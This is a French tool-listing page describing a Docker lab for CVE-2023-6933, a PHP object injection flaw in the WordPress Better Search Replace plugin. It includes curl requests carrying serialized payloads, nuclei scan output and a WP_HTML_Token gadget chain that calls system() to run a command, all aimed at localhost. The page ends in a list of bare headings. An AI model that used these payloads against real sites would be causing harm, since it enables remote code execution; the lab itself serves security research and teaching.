vulnerable-bsr-lab-CVE-2023-6933 — Laboratoire pratique pour CVE-2023-6933, une vulnérabilité d'injection d'objets PHP dans le plugin WordPress Better Search Replace, avec déploiement Docker, modèle nuclei et scripts d'exploitation pour la recherche et l'éducation en sécurité. | Kitploit

Laboratoire de vulnérabilité CVE-2023-6933

Aperçu

Cet environnement de laboratoire démontre la CVE-2023-6933, une vulnérabilité critique d'injection d'objets PHP dans le plugin WordPress Better Search Replace versions ≤1.4.4.

Détails de la vulnérabilité

CVE ID : CVE-2023-6933
Score CVSS : 9.8 (Critique)
Plugin affecté : Better Search Replace ≤1.4.4
Type de vulnérabilité : Injection d'objets PHP via une entrée utilisateur désérialisée
Vecteur d'attaque : Point de terminaison AJAX /wp-admin/admin-ajax.php avec l'action search_replace_db

Démarrage rapide

1. Déployer le laboratoire

# Clone the repository
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933

# Deploy using Docker Hub image (automatic pull)
docker-compose up -d

# Run the automated POC
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v

# Manual testing via curl
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'

$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v

[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]

[INF] Scan completed in 67ms. 4 matches found.

O:13:"WP_HTML_Token":4:{
    s:13:"bookmark_name";s:14:"touch /tmp/rce";
    s:9:"node_name";s:8:"testnode";
    s:21:"has_self_closing_flag";b:0;
    s:10:"on_destroy";s:6:"system";
}

# Test basic plugin presence
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"

# Test vulnerability with safe payload
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"

Service	URL	Identifiants
WordPress	http://localhost:8080	admin/admin
phpMyAdmin	http://localhost:8081	root/rootpassword

vulnerable-bsr-lab-CVE-2023-6933

Populaires

2. Accéder à l'environnement

3. Tester la vulnérabilité

Analyse technique

La vulnérabilité

Méthodes de vérification du POC

Caractéristiques clés de ce laboratoire

Documentation

Référence rapide

Modèle de POC professionnel

Résultats des tests

Exécution réussie du POC

Avis de sécurité

Nettoyage

Références

Environnement Docker (`Docker_LAB_SETUP/`)

Scripts d'exploitation

Outils de détection

🎯 Méthodologie d'exploitation appropriée

1. Détection basée sur le succès

2. Chaîne RCE WP_HTML_Token

3. Vecteurs d'attaque multiples

🔬 Approche de test

Tests manuels

Fonctionnalités du modèle nuclei

Fonctionnalités des tests manuels

📊 Points d'accès au laboratoire

🛡️ Considérations de sécurité

Pour les chercheurs

Pour les défenseurs

📚 Valeur pédagogique